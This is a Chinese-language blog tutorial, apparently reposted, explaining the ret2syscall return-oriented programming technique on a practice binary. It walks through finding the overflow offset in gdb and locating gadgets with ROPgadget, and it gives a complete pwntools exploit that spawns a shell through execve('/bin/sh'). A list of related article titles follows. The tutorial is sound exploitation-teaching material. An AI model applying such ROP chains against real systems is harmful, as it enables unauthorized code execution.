本文视频:
          如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514

基础知识:

我们在前面讲的ret2text,ret2shellcode,今天来讲下ret2syscall,也就是调用系统函数来获取shell.

这里在讲两个概念:第一:ROP(Return-oriented programming),是一种基于代码复用技术的新型***,***者供已有的库或可执行文件中提取指令片段、构建恶意代码。

第二:Gadgets是指在程序中的指令片段,有时我们为了达到我们执行命令的目的,需要多个Gadget来完成我们的功能。Gadget最后一般都有ret,因为要讲程序控制权(ip)给下一个Gadget。

第一步:分析程序获取溢出偏移量

我们先将程序拖到IDA中去分析(要注意32的程序就要用32位的IDA去分析,64的程序就要用64位的IDA去分析,如果不这么做F5看C的伪代码时看不了。)

第八行里又一个gets函数是有溢出漏洞的,这个问题我们在ret2shellcode里已经讲过了。此时我们要使用gdb里的pattern offset来获取溢出偏移量,这次我们换种方法获取。使用gdb打开ret2syscall。

在gets函数位置打断点:b gets 然后输入r开始调试

在输入finish(结束当前函数调用,返回上层函数)

输入几个字母,这里我输入的是margin,然后回车

此时我们发现ebp的地址是0xffffd618 , esp的值是0xffffd5ac,要覆盖的ebp需要esp - ebp=0x6c位,在加上4位的ebp为112,所以我们要覆盖到返回值,执行我们的命令。

第二步:获取shell

我们知道溢出偏移量了,现在我们想执行命令,例如execve("/bin/sh",null,null)。此时要设计到Linux在调用系统函数时的用法。

系统函数调用的指令是int 0x80,这是固定指令,他有四个参数:

  • 系统调用号,即 eax 应该为 0xb

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

如果你学过任意一门编程语言,可以理解为int 0x80(eax,ebx,ecx,edx)。可能会有这样的疑问:为什么是eax,ebx,ecx,edx要设置为这些值,答案是系统在运行的时候就是固定的要读这四个寄存器,如果不这么写,就不会调用到execve函数。

接下来我们就要一点点的去拼凑这些内容,我们没法直接在栈里写指令,只能够利用程序中自带的指令去拼凑。

首先我们将eax设置为0xb,我们是没法直接往栈里写mov eax,0xb的,那么还有另一种方式是pop eax,但是要保证栈顶必须是0xb。

然后设置ebx,ecx,edx,同样是这样的道理,所以我们可以想象栈中的数据是:

pop eax;ret

0xb

pop ebx;pop ecx;pop edx;ret

"/bin/sh"的地址

0

0

int 0x80的地址

这样我们就可以保值eax,ebx,ecx,edx的值了。

所以接下来我们要在程序中找一下有没有pop eax;和pop ebx;pop ecx;pop edx;的指令。

需要用到一个工具:ROPgadget

ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"

--only是指只有pop和ret指令

我们使用0x080bb196,符合我们的预期。

接下来找类似pop ebx;pop ecx;pop edx;的指令

ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

恰好也有我们所需要的,只不过顺序和我们的不同,在组织payload时候需要调换下顺序。

我们在找一下字符串“/bin/sh”的地址

ROPgadget --binary ./ret2syscall --string "/bin/sh"

地址为0x080be408

我们在查找下“int 0x80”的地址

ROPgadget --binary ./ret2syscall --only "int"

地址为0x08049421

所以我们现在有了所有我们需要的内容了,接下来写payload。

payload = 'a' * offset + pop_eax_ret_addr + 0xb + pop_edx_ecx_ebx_ret_addr + 0 + 0 + bin_sh_addr + 80_addr

得到exp

from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196

pop_edx_ecx_ebx_ret = 0x0806eb90

int_0x80 = 0x08049421

binsh = 0x80be408

payload = 'A' * 112 + p32(pop_eax_ret) +p32(0xb)+p32(pop_edx_ecx_ebx_ret)+ p32(0)+p32(0)+p32(binsh)+p32(int_0x80)

sh.sendline(payload)

sh.interactive()

最后,我们动态调试下这个程序,看我们把payload发送到程序中后,程序是如何执行的。

我们在python代码中的sh.sendline(payload)前面加pause(),这样我们可以使程序中断,然后用gdb attach pid进行调试

第一步:python代码中加入sh.sendline(payload),然后执行:python exp.py

我们的到这个进程的pid为4679,此时我们使用命令:gdb attach 4679进行调试

在gdb命令行输入finish(结束当前函数,返回父级函数),这时候程序会等待我们输入内容,我们在运行python的页面里回车,这时exp.py的payload就会被输入到4679的进程里。

此时我们发现exp.py里的内容已经放入栈中,然后我们输入4次finish后代码运行到Main函数中

上图标红的内容就是我们payload里的内容。

转载于:https://blog.51cto.com/11797152/2379740

缓冲区溢出-基本ROP-ret2syscall相关推荐

  1. 软件安全实验——lab7(缓冲区溢出3:返回导向编程技术ROP)

    目录标题 1.举例详细解释什么是Return-orientd Programming ROP?(至少两个例子:x86 和arm) (1)ROP在X86指令集上的实例 (2)ROP在ARM上的可行性 2 ...

  2. 缓冲区溢出基础实践(二)——ROP 与 hijack GOT

    3.ROP ROP 即 Return Oritented Programming ,其主要思想是在栈缓冲区溢出的基础上,通过程序和库函数中已有的小片段(gadgets)构造一组串联的指令序列,形成攻击 ...

  3. 分区起始位置参数溢出_IIS6.0缓冲区溢出漏洞深度分析(CVE-2017-7269)

    漏洞描述 开启WebDAV服务的IIS6.0存在缓冲区溢出漏洞可以任意代码执行,目前针对 Windows Server 2003 R2 可以稳定利用.在WebDAV服务的ScStoragePathFr ...

  4. 为什么会有缓冲区溢出攻击专栏

    已有一段时间没有写博客,今天打开博客收到网友的私信,问我是否从事与安全相关的工作,以及对从事安全工作有什么好的建议.今晚想借这个机会记录下我写此专栏的缘由. 2014年整整一年,我成为部门的安全工程师 ...

  5. kali+php+缓冲区溢出,CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析

    CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析 摘要:本文通过对一个ARM路由器缓冲区溢出漏洞的分析,实践逆向数据流跟踪的思路与方法. 假设读者:了解ARM指令集基础知识.了解栈溢出 ...

  6. BUPT CSAPP lab3 缓冲区溢出

    一.实验目的 1.理解C语言程序的函数调用机制,栈帧的结构. 2.理解x86-64的栈和参数传递机制 3.初步掌握如何编写更加安全的程序,了解编译器和操作系统提供的防攻击手段. 3.进一步理解x86- ...

  7. 黄东升: 栈缓冲区溢出攻击实例

    点击上方蓝色字体,关注我们 插一条作(zhēng)者(hūn)简(guǎng)介(gào): 作者简介 黄东升, 西安邮电在读研究生, 酷爱编码,干净帅气, 不打游戏,声音好听, 笑起来像是在发光~ ...

  8. 一个简单的缓冲区溢出的思考

    从大二开始真正接触技术开始,从最早的HTML,PHP,WEB开发.一直以为以后可能会从事开发的工作,碰巧大三上的时候和同专业的郭子,邹豪参加了南京的一个信息安全技能大赛,才真正找到了兴趣的方向,也从懵 ...

  9. 使用Linux进行缓冲区溢出实验的配置记录

    在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...

  10. Android中的防缓冲区溢出技术

    Android系统提供了非常严格的多层次的安全保护措施,包括代码.为了防止恶意用户采用恶意软件进行缓冲区溢出***或者进行"越狱"操作,自Android 4.0版本之后,内核就引入 ...

最新文章

  1. 把windows一个目录mount到Ubuntu下,非root用户没有写权限
  2. JavaSE、JavaEE与Spring的概念和异同点剖析
  3. sql注入学习——时间盲注
  4. 使用Cloud Studio写python
  5. C和指针之动态内存分配(读取范围在1和标准输入读取的size之前每个数据出现的次数)
  6. 树莓派和微信和服务器,用树莓派搭建微信公共平台
  7. shell @ Linux (1)
  8. 在iOS平台使用libcurl
  9. 税收征管信息系统_聚焦湖北税收征管信息系统正式切换上线啦! 首日办理业务逾26万件...
  10. c语言标准库详解(五):stdio.h之直接IO/文件定位/错误处理
  11. 六款国产杀毒软件资源占用测试,八款杀毒软件横向评测:系统资源占用篇
  12. 关于100层楼,扔两个鸡蛋,求摔碎鸡蛋的临界层的问题
  13. nginx的location匹配字段后斜杠的作用
  14. 【网络】OAuth2和JWT
  15. 按键精灵2014如何插入循环语句--win10专业版
  16. QT- label实现滚动字幕 (跑马灯)效果 -像素级
  17. GC9110 SOP8封装 5V低成本大电流有刷直流驱动芯片(替代参考LG9110S)
  18. Fabric2.3 使用Caliper进行性能测试(保姆级示范,亲测可行)
  19. 暑假7月7日到7月17日任务一:电路板识别。
  20. 企业电子招标采购系统源码Spring Cloud + Spring Boot + MybatisPlus + Redis + Layui + 前后端分离 + 二次开发

热门文章

  1. 【转载】使用javassist动态注入代码
  2. UA MATH567 高维统计 专题0 为什么需要高维统计理论?——高维统计理论的常用假设
  3. MFC CListCtrl控件基本使用图解
  4. PowerDesigner中Stereotype的创建图解
  5. React JSX 实例图解
  6. Hibernate Tools 学习总结
  7. JVM内存模型、Java内存模型 和 Java对象模型
  8. Java多线程编程实战指南+设计模式篇pdf
  9. Vue2.0 入门 安装Vue-cli
  10. 《Ext JS权威指南》印出来了,大家很快就能拿到书了